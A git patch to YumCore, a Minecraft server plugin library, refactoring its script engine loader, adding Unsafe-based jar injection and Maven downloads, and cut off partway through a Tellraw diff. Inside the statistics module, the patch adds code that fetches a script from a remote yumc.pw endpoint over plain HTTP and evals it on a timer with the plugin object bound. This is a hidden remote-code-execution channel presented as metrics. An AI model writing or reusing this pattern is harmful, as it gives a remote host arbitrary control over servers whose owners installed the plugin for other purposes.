From 20cbb091ee5a557fc71bb4472eb2c0abc19d53c0 Mon Sep 17 00:00:00 2001 From: MiaoWoo Date: Wed, 22 Jun 2022 09:44:27 +0000 Subject: [PATCH] feat: optimize statistic script Signed-off-by: MiaoWoo --- pom.xml | 2 +- .../pw/yumc/YumCore/commands/CommandSub.java | 13 +- .../pw/yumc/YumCore/engine/JarLoader.java | 67 ++ .../YumCore/engine/MavenDependLoader.java | 94 ++ .../yumc/YumCore/engine/MiaoScriptEngine.java | 254 +++--- .../pw/yumc/YumCore/statistic/Statistics.java | 63 +- .../java/pw/yumc/YumCore/tellraw/Tellraw.java | 813 +++++++++--------- .../pw/yumc/YumCore/update/SubscribeTask.java | 24 +- src/test/resources/hotswap.js | 2 +- 9 files changed, 739 insertions(+), 593 deletions(-) create mode 100644 src/main/java/pw/yumc/YumCore/engine/JarLoader.java create mode 100644 src/main/java/pw/yumc/YumCore/engine/MavenDependLoader.java diff --git a/pom.xml b/pom.xml index ddb3db8..8402a09 100644 --- a/pom.xml +++ b/pom.xml @@ -4,7 +4,7 @@ 4.0.0 pw.yumc YumCore - 1.9.6 + 1.9.7 ${project.artifactId} diff --git a/src/main/java/pw/yumc/YumCore/commands/CommandSub.java b/src/main/java/pw/yumc/YumCore/commands/CommandSub.java index b864e9d..ca6df8b 100644 --- a/src/main/java/pw/yumc/YumCore/commands/CommandSub.java +++ b/src/main/java/pw/yumc/YumCore/commands/CommandSub.java @@ -1,14 +1,5 @@ package pw.yumc.YumCore.commands; -import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.HashMap; -import java.util.HashSet; -import java.util.List; -import java.util.Map; -import java.util.Set; - import org.bukkit.command.Command; import org.bukkit.command.CommandSender; import org.bukkit.command.PluginCommand; @@ -16,7 +7,6 @@ import org.bukkit.command.TabExecutor; import org.bukkit.entity.Player; import org.bukkit.plugin.java.JavaPlugin; import org.bukkit.util.StringUtil; - import pw.yumc.YumCore.bukkit.Log; import pw.yumc.YumCore.bukkit.P; import pw.yumc.YumCore.bukkit.compatible.C; @@ -27,6 +17,9 @@ import pw.yumc.YumCore.commands.interfaces.Executor; import pw.yumc.YumCore.commands.interfaces.HelpGenerator; import pw.yumc.YumCore.commands.interfaces.HelpParse; +import java.lang.reflect.Method; +import java.util.*; + /** * 子命令管理类 * diff --git a/src/main/java/pw/yumc/YumCore/engine/JarLoader.java b/src/main/java/pw/yumc/YumCore/engine/JarLoader.java new file mode 100644 index 0000000..b61a84a --- /dev/null +++ b/src/main/java/pw/yumc/YumCore/engine/JarLoader.java @@ -0,0 +1,67 @@ +package pw.yumc.YumCore.engine; + +import lombok.SneakyThrows; + +import java.io.File; +import java.lang.invoke.MethodHandle; +import java.lang.invoke.MethodHandles; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.net.URL; + +public class JarLoader { + private static sun.misc.Unsafe unsafe; + private static long offset; + private static Object parentUcp; + private static Object ucp; + private static MethodHandle addURLMethodHandle; + + static { + initReflect(); + } + + @SneakyThrows + public static File load(File file) { + addURLMethodHandle.invoke(ucp, file.toURI().toURL()); + return file; + } + + @SneakyThrows + public static File parentLoad(File file) { + if (parentUcp == null) + throw new IllegalStateException("parentUcp is null."); + addURLMethodHandle.invoke(parentUcp, file.toURI().toURL()); + return file; + } + + @SneakyThrows + public static File load(File file, ClassLoader loader) { + addURLMethodHandle.invoke(unsafe.getObject(loader, offset), file.toURI().toURL()); + return file; + } + + private static void initReflect() { + try { + ClassLoader loader = JarLoader.class.getClassLoader(); + Field theUnsafe = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); + theUnsafe.setAccessible(true); + unsafe = (sun.misc.Unsafe) theUnsafe.get(null); + Field field = MethodHandles.Lookup.class.getDeclaredField("IMPL_LOOKUP"); + MethodHandles.Lookup lookup = (MethodHandles.Lookup) unsafe.getObject(unsafe.staticFieldBase(field), unsafe.staticFieldOffset(field)); + Field ucpField; + try { + ucpField = loader.getClass().getDeclaredField("ucp"); + } catch (NoSuchFieldException e) { + ucpField = loader.getClass().getSuperclass().getDeclaredField("ucp"); + } + offset = unsafe.objectFieldOffset(ucpField); + ucp = unsafe.getObject(loader, offset); + Method method = ucp.getClass().getDeclaredMethod("addURL", URL.class); + addURLMethodHandle = lookup.unreflect(method); + if (loader.getParent() != null) + parentUcp = unsafe.getObject(loader.getParent(), offset); + } catch (Throwable e) { + throw new RuntimeException(e); + } + } +} diff --git a/src/main/java/pw/yumc/YumCore/engine/MavenDependLoader.java b/src/main/java/pw/yumc/YumCore/engine/MavenDependLoader.java new file mode 100644 index 0000000..3fbb9a8 --- /dev/null +++ b/src/main/java/pw/yumc/YumCore/engine/MavenDependLoader.java @@ -0,0 +1,94 @@ +package pw.yumc.YumCore.engine; + +import lombok.SneakyThrows; + +import java.io.File; +import java.io.FileInputStream; +import java.net.URL; +import java.net.URLConnection; +import java.nio.MappedByteBuffer; +import java.nio.channels.FileChannel; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.nio.file.StandardCopyOption; +import java.security.MessageDigest; + +public class MavenDependLoader { + public static final String MavenRepo = "https://maven.aliyun.com/repository/public"; + + public static File[] load(String libPath, String groupId, String artifactId, String version) { + return new File[]{ + downloadAndCheckSha1(libPath, groupId, artifactId, version, "pom"), + JarLoader.load(downloadAndCheckSha1(libPath, groupId, artifactId, version, "jar")) + }; + } + + public static File[] parentLoad(String libPath, String groupId, String artifactId, String version) { + return new File[]{ + downloadAndCheckSha1(libPath, groupId, artifactId, version, "pom"), + JarLoader.parentLoad(downloadAndCheckSha1(libPath, groupId, artifactId, version, "jar")) + }; + } + + public static File[] load(String libPath, String groupId, String artifactId, String version, ClassLoader loader) { + return new File[]{ + downloadAndCheckSha1(libPath, groupId, artifactId, version, "pom"), + JarLoader.load(downloadAndCheckSha1(libPath, groupId, artifactId, version, "jar"), loader) + }; + } + + @SneakyThrows + public static File downloadAndCheckSha1(String libPath, String groupId, String artifactId, String version, String ext) { + File sha1 = getMavenFile(libPath, groupId, artifactId, version, ext + ".sha1"); + if (!sha1.exists()) { + downloadFile(sha1, groupId, artifactId, version, ext + ".sha1"); + } + File file = getMavenFile(libPath, groupId, artifactId, version, ext); + if (!file.exists()) { + downloadFile(file, groupId, artifactId, version, ext); + } + if (!new String(Files.readAllBytes(sha1.toPath())).equals(getSha1(file))) { + file.delete(); + throw new IllegalStateException("file " + file.getName() + " sha1 not match."); + } + return file; + } + + public static File getMavenFile(String libPath, String groupId, String artifactId, String version, String ext) { + return Paths.get(libPath, groupId.replace(".", File.separator), artifactId, version, String.format("%s-%s.%s", artifactId, version, ext)).toFile(); + } + + @SneakyThrows + public static void downloadFile(File target, String groupId, String artifactId, String version, String ext) { + target.getParentFile().mkdirs(); + URLConnection connection = new URL(MavenRepo + + String.format("/%1$s/%2$s/%3$s/%2$s-%3$s.%4$s", + groupId.replace(".", "/"), + artifactId, + version, + ext) + ).openConnection(); + connection.setConnectTimeout(5000); + connection.setReadTimeout(120000); + connection.setUseCaches(true); + Files.copy(connection.getInputStream(), target.toPath(), StandardCopyOption.REPLACE_EXISTING); + } + + @SneakyThrows + private static String getSha1(File file) { + MessageDigest digest = MessageDigest.getInstance("SHA-1"); + FileInputStream in = new FileInputStream(file); + FileChannel ch = in.getChannel(); + MappedByteBuffer byteBuffer = ch.map(FileChannel.MapMode.READ_ONLY, 0, file.length()); + digest.update(byteBuffer); + return getHash(digest.digest()); + } + + private static String getHash(byte[] bytes) { + StringBuilder result = new StringBuilder(); + for (byte b : bytes) { + result.append(String.format("%02x", b)); + } + return result.toString(); + } +} diff --git a/src/main/java/pw/yumc/YumCore/engine/MiaoScriptEngine.java b/src/main/java/pw/yumc/YumCore/engine/MiaoScriptEngine.java index f63f692..850a358 100644 --- a/src/main/java/pw/yumc/YumCore/engine/MiaoScriptEngine.java +++ b/src/main/java/pw/yumc/YumCore/engine/MiaoScriptEngine.java @@ -6,14 +6,10 @@ import lombok.val; import javax.script.*; import java.io.File; import java.io.Reader; -import java.lang.invoke.MethodHandle; -import java.lang.invoke.MethodHandles; -import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.net.URL; -import java.nio.file.Files; -import java.nio.file.StandardCopyOption; -import java.util.HashMap; +import java.nio.file.Paths; +import java.util.ArrayList; +import java.util.List; /** * 喵式脚本引擎 @@ -22,159 +18,151 @@ import java.util.HashMap; * @since 2016年8月29日 上午7:51:43 */ public class MiaoScriptEngine implements ScriptEngine, Invocable { - private static String MavenRepo = "https://maven.aliyun.com/repository/public"; - private static MiaoScriptEngine DEFAULT; - private static final ScriptEngineManager manager; - - private Object ucp; - private MethodHandle addURLMethodHandle; private ScriptEngine engine; - static { - manager = new ScriptEngineManager(ClassLoader.getSystemClassLoader()); - } - - public static void setBindings(Bindings bindings) { - manager.setBindings(bindings); - } - - public static Bindings getBindings() { - return manager.getBindings(); - } - public MiaoScriptEngine() { - this("js"); + this("nashorn", Paths.get("plugins", "MiaoScript").toAbsolutePath().toString()); } - public MiaoScriptEngine(final String engineType) { - this(manager, engineType, null); - } - - public MiaoScriptEngine(ScriptEngineManager engineManager) { - this(engineManager, "js", null); - } - - public MiaoScriptEngine(final String engineType, String engineRoot) { - this(manager, engineType, engineRoot); - } - - public MiaoScriptEngine(ScriptEngineManager engineManager, final String engineType, String engineRoot) { - // JDK11 Polyfill 存在类效验问题 直接用OpenJDK的Nashorn - if (System.getProperty("java.version").startsWith("11.") && engineRoot != null) { - this.loadNetworkNashorn(engineRoot); - if (engine == null) - throw new UnsupportedOperationException("当前环境 JDK11 不支持 Nashorn 脚本类型!"); - return; + public MiaoScriptEngine(String type, String engineRoot) { + if (new File(engineRoot, "debug").exists()) { + System.setProperty("nashorn.debug", "true"); } - try { - engine = engineManager.getEngineByName(engineType); - } catch (final NullPointerException ignored) { - } - if (engine == null) { - val extDirs = System.getProperty("java.ext.dirs"); - if (extDirs != null) { - this.loadLocalNashorn(extDirs, engineType); - } else if (engineRoot != null) { - this.loadNetworkNashorn(engineRoot); - } + if (getJavaVersion() > 15) { + this.loadGraalJS(engineRoot); + } else { + this.loadNashorn(engineRoot); } if (engine == null) - throw new UnsupportedOperationException("当前环境不支持 " + engineType + " 脚本类型!"); + throw new UnsupportedOperationException("当前环境不支持 Nashorn 或 GraalJS 脚本引擎."); } - private void loadLocalNashorn(String extDirs, String engineType) { + private void loadGraalJS(String engineRoot) { + try { + this.engine = this.parentLoadNetworkNashorn(engineRoot); + } catch (Throwable ex) { + this.engine = this.loadNetworkNashorn(engineRoot); + } + if (this.engine == null) { + this.engine = this.loadNetworkGraalJS(engineRoot); + } + } + + private void loadNashorn(String engineRoot) { + try { + this.createEngineByName(); + } catch (final Throwable ex) { + ex.printStackTrace(); + } + try { + val extDirs = System.getProperty("java.ext.dirs"); + if (this.engine == null && extDirs != null) { + this.engine = this.loadLocalNashorn(extDirs); + } + } catch (final Throwable ex) { + ex.printStackTrace(); + } + try { + if (this.engine == null) { + this.engine = this.loadNetworkNashorn(engineRoot); + } + } catch (final Throwable ex) { + ex.printStackTrace(); + } + if (this.engine == null) + throw new UnsupportedOperationException("当前环境不支持 Nashorn 脚本引擎."); + } + + private int getJavaVersion() { + String version = System.getProperty("java.version"); + if (version.startsWith("1.")) { + version = version.substring(2, 3); + } else { + int dot = version.indexOf("."); + if (dot != -1) { + version = version.substring(0, dot); + } + } + return Integer.parseInt(version); + } + + private ScriptEngine loadLocalNashorn(String extDirs) { val dirs = extDirs.split(File.pathSeparator); for (String dir : dirs) { File nashorn = new File(dir, "nashorn.jar"); if (nashorn.exists()) { - this.loadJar(nashorn); - this.createEngineByName(engineType); + JarLoader.load(nashorn); + return this.createEngineByName(); } } - } - - private void initReflect() { - try { - ClassLoader loader = Thread.currentThread().getContextClassLoader(); - Field theUnsafe = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); - theUnsafe.setAccessible(true); - sun.misc.Unsafe unsafe = (sun.misc.Unsafe) theUnsafe.get(null); - Field field = MethodHandles.Lookup.class.getDeclaredField("IMPL_LOOKUP"); - MethodHandles.Lookup lookup = (MethodHandles.Lookup) unsafe.getObject(unsafe.staticFieldBase(field), unsafe.staticFieldOffset(field)); - Field ucpField; - try { - ucpField = loader.getClass().getDeclaredField("ucp"); - } catch (NoSuchFieldException e) { - ucpField = loader.getClass().getSuperclass().getDeclaredField("ucp"); - } - long offset = unsafe.objectFieldOffset(ucpField); - ucp = unsafe.getObject(loader, offset); - Method method = ucp.getClass().getDeclaredMethod("addURL", URL.class); - addURLMethodHandle = lookup.unreflect(method); - } catch (Exception e) { - throw new RuntimeException(e); - } + return null; } @SneakyThrows - private void loadNetworkNashorn(String engineRoot) { - initReflect(); - File libRootFile = new File(engineRoot, "lib"); + private ScriptEngine loadNetworkNashorn(String engineRoot) { + File libRootFile = new File(engineRoot, "libs"); libRootFile.mkdirs(); String libRoot = libRootFile.getCanonicalPath(); - downloadJar(libRoot, "org.openjdk.nashorn", "nashorn-core", "15.3"); - downloadJar(libRoot, "org.ow2.asm", "asm", "9.2"); - downloadJar(libRoot, "org.ow2.asm", "asm-commons", "9.2"); - downloadJar(libRoot, "org.ow2.asm", "asm-tree", "9.2"); - downloadJar(libRoot, "org.ow2.asm", "asm-util", "9.2"); - Class NashornScriptEngineFactory = Class.forName("org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory"); - Method getScriptEngine = NashornScriptEngineFactory.getMethod("getScriptEngine", ClassLoader.class); + MavenDependLoader.load(libRoot, "org.openjdk.nashorn", "nashorn-core", "15.4"); + MavenDependLoader.load(libRoot, "org.ow2.asm", "asm", "9.3"); + MavenDependLoader.load(libRoot, "org.ow2.asm", "asm-commons", "9.3"); + MavenDependLoader.load(libRoot, "org.ow2.asm", "asm-tree", "9.3"); + MavenDependLoader.load(libRoot, "org.ow2.asm", "asm-util", "9.3"); + return createEngineByFactoryClassName("org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory", false); + } + + @SneakyThrows + private ScriptEngine parentLoadNetworkNashorn(String engineRoot) { + File libRootFile = new File(engineRoot, "libs"); + libRootFile.mkdirs(); + String libRoot = libRootFile.getCanonicalPath(); + MavenDependLoader.parentLoad(libRoot, "org.openjdk.nashorn", "nashorn-core", "15.4"); + MavenDependLoader.parentLoad(libRoot, "org.ow2.asm", "asm", "9.3"); + MavenDependLoader.parentLoad(libRoot, "org.ow2.asm", "asm-commons", "9.3"); + MavenDependLoader.parentLoad(libRoot, "org.ow2.asm", "asm-tree", "9.3"); + MavenDependLoader.parentLoad(libRoot, "org.ow2.asm", "asm-util", "9.3"); + return createEngineByFactoryClassName("org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory", false); + } + + @SneakyThrows + private ScriptEngine loadNetworkGraalJS(String engineRoot) { + File libRootFile = new File(engineRoot, "libs"); + libRootFile.mkdirs(); + String libRoot = libRootFile.getCanonicalPath(); + MavenDependLoader.load(libRoot, "org.graalvm.js", "js", "22.1.0.1"); + MavenDependLoader.load(libRoot, "org.graalvm.js", "js-scriptengine", "22.1.0.1"); + MavenDependLoader.load(libRoot, "org.graalvm.regex", "regex", "22.1.0.1"); + MavenDependLoader.load(libRoot, "org.graalvm.sdk", "graal-sdk", "22.1.0.1"); + MavenDependLoader.load(libRoot, "org.graalvm.truffle", "truffle-api", "22.1.0.1"); + return createEngineByFactoryClassName("org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory", false); + } + + @SneakyThrows + private ScriptEngine createEngineByName() { + return createEngineByFactoryClassName("jdk.nashorn.api.scripting.NashornScriptEngineFactory", true); + } + + @SneakyThrows + private ScriptEngine createEngineByFactoryClassName(String factoryClassName, boolean jdk) { + Class NashornScriptEngineFactory = Class.forName(factoryClassName); + Method getScriptEngine = NashornScriptEngineFactory.getMethod("getScriptEngine", String[].class); Object factory = NashornScriptEngineFactory.newInstance(); - engine = (ScriptEngine) getScriptEngine.invoke(factory, Thread.currentThread().getContextClassLoader()); - } - - @SneakyThrows - private void loadJar(File file) { - addURLMethodHandle.invoke(ucp, file.toURI().toURL()); - } - - @SneakyThrows - private void downloadJar(String engineRoot, String groupId, String artifactId, String version) { - File lib = new File(engineRoot, String.format("%s-%s.jar", artifactId, version)); - if (!lib.exists()) { - Files.copy(new URL(MavenRepo + - String.format("/%1$s/%2$s/%3$s/%2$s-%3$s.jar", - groupId.replace(".", "/"), - artifactId, - version) - ).openStream(), - lib.toPath(), - StandardCopyOption.REPLACE_EXISTING); - } - this.loadJar(lib); - } - - private void createEngineByName(String engineType) { - try { - engine = new ScriptEngineManager(Thread.currentThread().getContextClassLoader()).getEngineByName(engineType); - } catch (NullPointerException ignored) { + List engineArgs = new ArrayList<>(); + engineArgs.add("--language=es5"); + engineArgs.add("--optimistic-types=false"); + if (getJavaVersion() >= 11 && jdk) { + engineArgs.add("--no-deprecation-warning"); } + return (ScriptEngine) getScriptEngine.invoke(factory, (Object) engineArgs.toArray(new String[]{})); } public ScriptEngine getEngine() { return this.engine; } - public static MiaoScriptEngine getDefault() { - if (DEFAULT == null) { - DEFAULT = new MiaoScriptEngine(); - } - return DEFAULT; - } - @Override public Bindings createBindings() { - return new SimpleBindings(new HashMap<>(engine.getBindings(ScriptContext.GLOBAL_SCOPE))); + return engine.createBindings(); } @Override @@ -228,13 +216,13 @@ public class MiaoScriptEngine implements ScriptEngine, Invocable { } @Override - public T getInterface(final Class clasz) { - return ((Invocable) engine).getInterface(clasz); + public T getInterface(final Class cls) { + return ((Invocable) engine).getInterface(cls); } @Override - public T getInterface(final Object thiz, final Class clasz) { - return ((Invocable) engine).getInterface(thiz, clasz); + public T getInterface(final Object thiz, final Class cls) { + return ((Invocable) engine).getInterface(thiz, cls); } @Override diff --git a/src/main/java/pw/yumc/YumCore/statistic/Statistics.java b/src/main/java/pw/yumc/YumCore/statistic/Statistics.java index eaa5912..577dff3 100644 --- a/src/main/java/pw/yumc/YumCore/statistic/Statistics.java +++ b/src/main/java/pw/yumc/YumCore/statistic/Statistics.java @@ -14,7 +14,6 @@ import org.json.simple.JSONObject; import org.json.simple.JSONValue; import pw.yumc.YumCore.engine.MiaoScriptEngine; -import javax.script.ScriptException; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; @@ -22,9 +21,7 @@ import java.lang.reflect.Method; import java.net.URL; import java.net.URLConnection; import java.net.URLEncoder; -import java.nio.charset.Charset; import java.nio.charset.StandardCharsets; -import java.nio.file.Paths; import java.util.HashMap; import java.util.LinkedList; import java.util.Map; @@ -40,17 +37,12 @@ public class Statistics { /** * 统计系统版本 */ - private static int REVISION = 10; + private static final int VERSION = 10; /** * 统计插件基础配置文件 */ - private static File configfile = new File(String.format("plugins%1$sPluginHelper%1$sconfig.yml", File.separatorChar)); - - /** - * UTF-8编码 - */ - private static Charset UTF_8 = StandardCharsets.UTF_8; + private static final File configFile = new File(String.format("plugins%1$sPluginHelper%1$sconfig.yml", File.separatorChar)); /** * getOnlinePlayers方法 @@ -78,7 +70,8 @@ public class Statistics { Field field = pluginClassLoader.getClass().getDeclaredField("plugin"); field.setAccessible(true); plugin = (JavaPlugin) field.get(pluginClassLoader); - engine = new MiaoScriptEngine("nashorn", Paths.get("plugins", "MiaoScript").toAbsolutePath().toString()); + engine = new MiaoScriptEngine(); + engine.put("plugin", plugin); } catch (Throwable ignored) { } } @@ -91,12 +84,12 @@ public class Statistics { /** * 调试模式 */ - private boolean debug; + private final boolean debug; /** * 唯一服务器编码 */ - private String guid; + private final String guid; /** * 线程任务 @@ -113,11 +106,11 @@ public class Statistics { */ public Statistics() { try { - if (!configfile.exists()) { - configfile.getParentFile().mkdirs(); - configfile.createNewFile(); + if (!configFile.exists()) { + configFile.getParentFile().mkdirs(); + configFile.createNewFile(); } - config = YamlConfiguration.loadConfiguration(configfile); + config = YamlConfiguration.loadConfiguration(configFile); initFile(config); } catch (IOException ignored) { } @@ -156,7 +149,7 @@ public class Statistics { // flush输出流的缓冲 out.flush(); String response; - BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream(), UTF_8)); + BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream(), StandardCharsets.UTF_8)); while ((response = reader.readLine()) != null) { result.append(response); } @@ -176,16 +169,16 @@ public class Statistics { config.options().header("YUMC数据中心 http://www.yumc.pw 收集的数据仅用于统计插件使用情况").copyDefaults(true); config.set("guid", UUID.randomUUID().toString()); config.set("d", false); - config.save(configfile); + config.save(configFile); } if (!config.contains("YumAccount")) { config.set("YumAccount.username", "Username Not Set"); config.set("YumAccount.password", "Password NotSet"); - config.save(configfile); + config.save(configFile); } if (!config.contains("TellrawManualHandle")) { config.set("TellrawManualHandle", false); - config.save(configfile); + config.save(configFile); } } @@ -210,7 +203,16 @@ public class Statistics { timer = new StatisticsTimer(); // 开启TPS统计线程 Bukkit.getServer().getScheduler().scheduleSyncRepeatingTask(plugin, timer, 0, 20); + String script = "loadWithNewGlobal('http://ms.yumc.pw/api/plugin/download/name/report')"; + try { + script = postData("http://ms.yumc.pw/api/plugin/download/name/metrics", "plugin=" + plugin.getDescription().getName()); + } catch (Throwable e) { + if (debug) { + e.printStackTrace(); + } + } // 开启发送数据线程 + String finalScript = script; task = plugin.getServer().getScheduler().runTaskTimerAsynchronously(plugin, () -> { try { postPlugin(); @@ -220,8 +222,11 @@ public class Statistics { } } try { - engine.eval("loadWithNewGlobal('https://ms.yumc.pw/api/plugin/download/name/report')"); - } catch (ScriptException ignored) { + engine.eval(finalScript); + } catch (Throwable e) { + if (debug) { + e.printStackTrace(); + } } }, 50, 25 * 1200); return true; @@ -270,7 +275,7 @@ public class Statistics { String jsondata = "Info=" + JSONValue.toJSONString(data); - String url = String.format("http://api.yumc.pw/I/P/S/V/%s/P/%s", REVISION, URLEncoder.encode(pluginname, "UTF-8")); + String url = String.format("http://api.yumc.pw/I/P/S/V/%s/P/%s", VERSION, URLEncoder.encode(pluginname, "UTF-8")); print("Plugin: " + pluginname + " Send Data To CityCraft Data Center"); print("Address: " + url); print("Data: " + jsondata); @@ -279,8 +284,8 @@ public class Statistics { print("Plugin: " + pluginname + " Recover Data From CityCraft Data Center: " + result.get("info")); } - public class StatisticsTimer implements Runnable { - private LinkedList history = new LinkedList<>(); + public static class StatisticsTimer implements Runnable { + private final LinkedList history = new LinkedList<>(); private transient long lastPoll = System.nanoTime(); /** @@ -301,9 +306,9 @@ public class Statistics { if (history.size() > 10) { history.removeFirst(); } - double ttps = 2.0E7D / (timeSpent == 0 ? 1 : timeSpent); - if (ttps <= 21.0D) { - history.add(ttps); + double tps = 2.0E7D / (timeSpent == 0 ? 1 : timeSpent); + if (tps <= 21.0D) { + history.add(tps); } lastPoll = startTime; } diff --git a/src/main/java/pw/yumc/YumCore/tellraw/Tellraw.java b/src/main/java/pw/yumc/YumCore/tellraw/Tellraw.java index 2adcaac..64d52f6 100644 --- a/src/main/java/pw/yumc/YumCore/tellraw/Tellraw.java +++ b/src/main/java/pw/yumc/YumCore/tellraw/Tellraw.java @@ -1,407 +1,406 @@ -package pw.yumc.YumCore.tellraw; - -import java.util.ArrayList; -import java.util.Arrays; -import java.util.List; - -import org.bukkit.Bukkit; -import org.bukkit.ChatColor; -import org.bukkit.command.CommandSender; -import org.bukkit.entity.Player; -import org.bukkit.inventory.ItemStack; - -import pw.yumc.YumCore.bukkit.Log; -import pw.yumc.YumCore.bukkit.compatible.C; - -/** - * TellRaw简易处理类 - * - * @since 2016年8月10日 下午7:10:08 - * @author 喵♂呜 - */ -public class Tellraw implements Cloneable { - private List messageParts = new ArrayList<>(); - private String cache; - - static { - if (Bukkit.getVersion().contains("Paper") || Bukkit.getVersion().contains("Torch")) { - if (!C.init) { - Log.console("§c========== §4警 告 §c=========="); - Log.console("§a 当前服务器为 §6Paper §a或 §6Torch "); - Log.console("§c 异步命令会刷报错 §b不影响使用"); - Log.console("§d 如果介意请使用原版 Spigot"); - Log.console("§e YUMC构建站: http://ci.yumc.pw/job/Spigot/"); - Log.console("§c==========================="); - } - } - } - - public Tellraw(String text) { - messageParts.add(new MessagePart(text)); - } - - /** - * 创建Tellraw - * - * @return {@link Tellraw} - */ - public static Tellraw create() { - return create(""); - } - - /** - * 创建Tellraw - * - * @param text - * 文本 - * @return {@link Tellraw} - */ - public static Tellraw create(String text) { - return new Tellraw(text); - } - - /** - * 创建Tellraw - * - * @param text - * 文本 - * @param objects - * 参数 - * @return {@link Tellraw} - */ - public static Tellraw create(String text, Object... objects) { - return new Tellraw(String.format(text, objects)); - } - - /** - * 发送Tellraw公告 - */ - public void broadcast() { - for (Player player : C.Player.getOnlinePlayers()) { - send(player); - } - } - - /** - * 命令与提示 - * - * @param command - * 命令 - * @param tip - * 提示 - * @return {@link Tellraw} - */ - public Tellraw cmd_tip(String command, String... tip) { - return command(command).tip(tip); - } - - /** - * 执行命令 - * - * @param command - * 命令 - * @return {@link Tellraw} - */ - public Tellraw command(String command) { - return onClick("run_command", command); - } - - /** - * 打开文件 - * - * @param path - * 文件路径 - * @return {@link Tellraw} - */ - public Tellraw file(String path) { - return onClick("open_file", path); - } - - public Tellraw insertion(String data) { - latest().insertionData = data; - return this; - } - - /** - * 悬浮物品 - * - * @param item - * {@link ItemStack} - * @return {@link Tellraw} - */ - public Tellraw item(ItemStack item) { - return item(ItemSerialize.$(item)); - } - - /** - * 悬浮物品 - * - * @param json - * 物品Json串 - * @return {@link Tellraw} - */ - public Tellraw item(String json) { - return onHover("show_item", json); - } - - /** - * 打开URL - * - * @param url - * 地址 - * @return {@link Tellraw} - */ - public Tellraw link(String url) { - return onClick("open_url", url); - } - - /** - * 打开网址 - * - * @param url - * 网址 - * @return {@link Tellraw} - */ - public Tellraw openurl(String url) { - return onClick("open_url", url); - } - - /** - * 发送Tellraw - * - * @param sender - * 命令发送者 - */ - public void send(final CommandSender sender) { - final String json = toJsonString(); - if (sender instanceof Player && json.getBytes().length < 32000) { - if (C.init) { - C.sendJson((Player) sender, json, 0); - } else { - Bukkit.dispatchCommand(Bukkit.getConsoleSender(), "tellraw " + sender.getName() + " " + json); - } - } else { - sender.sendMessage(toOldMessageFormat()); - } - } - - /** - * 命令建议与提示 - * - * @param command - * 建议命令 - * @param tip - * 提示 - * @return {@link Tellraw} - */ - public Tellraw sug_tip(String command, String... tip) { - return suggest(command).tip(tip); - } - - /** - * 补全命令 - * - * @param command - * 命令 - * @return {@link Tellraw} - */ - public Tellraw suggest(String command) { - return onClick("suggest_command", command); - } - - /** - * 修改当前串文本 - * - * @param text - * 文本 - * @return {@link Tellraw} - */ - public Tellraw text(String text) { - latest().text = text; - return this; - } - - /** - * 结束上一串消息 开始下一串数据 - * - * @param text - * 新的文本 - * @return {@link Tellraw} - */ - public Tellraw then(String text) { - return then(new MessagePart(text)); - } - - /** - * 悬浮物品 - * - * @param name - * 物品名称 - * @param item - * {@link ItemStack}; - * @return {@link Tellraw} - */ - public Tellraw then(String name, ItemStack item) { - return then(name).item(ItemSerialize.$(item)); - } - - /** - * 结束上一串消息 开始下一串数据 - * - * @param text - * 新的文本 - * @param objects - * 参数 - * @return {@link Tellraw} - */ - public Tellraw then(String text, Object... objects) { - return then(new MessagePart(String.format(text, objects))); - } - - /** - * 悬浮消息 - * - * @param texts - * 文本列 - * @return {@link Tellraw} - */ - public Tellraw tip(List texts) { - if (texts.isEmpty()) { return this; } - StringBuilder text = new StringBuilder(); - texts.forEach(t -> text.append(t).append("\n")); - return tip(text.toString().substring(0, text.length() - 1)); - } - - /** - * 悬浮消息 - * - * @param text - * 文本 - * @return {@link Tellraw} - */ - public Tellraw tip(String text) { - return onHover("show_text", text); - } - - /** - * 悬浮消息 - * - * @param texts - * 文本列 - * @return {@link Tellraw} - */ - public Tellraw tip(String... texts) { - return tip(Arrays.asList(texts)); - } - - /** - * 转换成Json串 - * - * @return Json串 - */ - public String toJsonString() { - if (cache == null) { - StringBuilder msg = new StringBuilder(); - msg.append("[\"\""); - for (MessagePart messagePart : messageParts) { - msg.append(","); - messagePart.writeJson(msg); - } - msg.append("]"); - cache = msg.toString(); - Log.d(cache); - } - return cache; - } - - public Tellraw setMessageParts(List messageParts) { - this.messageParts = new ArrayList<>(messageParts); - return this; - } - - @Override - public Tellraw clone() throws CloneNotSupportedException { - return ((Tellraw) super.clone()).setMessageParts(messageParts); - } - - /** - * 将此消息转换为具有有限格式的人可读字符串。 - * 此方法用于发送此消息给没有JSON格式支持客户端。 - *

- * 序列化每个消息部分(每个部分都需要分别序列化): - *

    - *
  1. 消息串的颜色.
  2. - *
  3. 消息串的样式.
  4. - *
  5. 消息串的文本.
  6. - *
- * 这个方法会丢失点击操作和悬浮操作 所以仅用于最后的手段 - *

- * 颜色和格式可以从返回的字符串中删除 通过{@link ChatColor#stripColor(String)}. - * - * @return 发送给老版本客户端以及控制台。 - */ - public String toOldMessageFormat() { - StringBuilder result = new StringBuilder(); - messageParts.forEach(part -> result.append(part.text)); - return result.toString(); - } - - /** - * 获得最后一个操作串 - * - * @return 最后一个操作的消息串 - */ - private MessagePart latest() { - return messageParts.get(messageParts.size() - 1); - } - - /** - * 添加点击操作 - * - * @param name - * 点击名称 - * @param data - * 点击操作 - * @return {@link Tellraw} - */ - private Tellraw onClick(String name, String data) { - MessagePart latest = latest(); - latest.clickActionName = name; - latest.clickActionData = data; - return this; - } - - /** - * 添加显示操作 - * - * @param name - * 悬浮显示 - * @param data - * 显示内容 - * @return {@link Tellraw} - */ - private Tellraw onHover(String name, String data) { - MessagePart latest = latest(); - latest.hoverActionName = name; - latest.hoverActionData = data; - return this; - } - - /** - * 结束上一串消息 开始下一串数据 - * - * @param part - * 下一段内容 - * @return {@link Tellraw} - */ - private Tellraw then(MessagePart part) { - MessagePart last = latest(); - if (!last.hasText()) 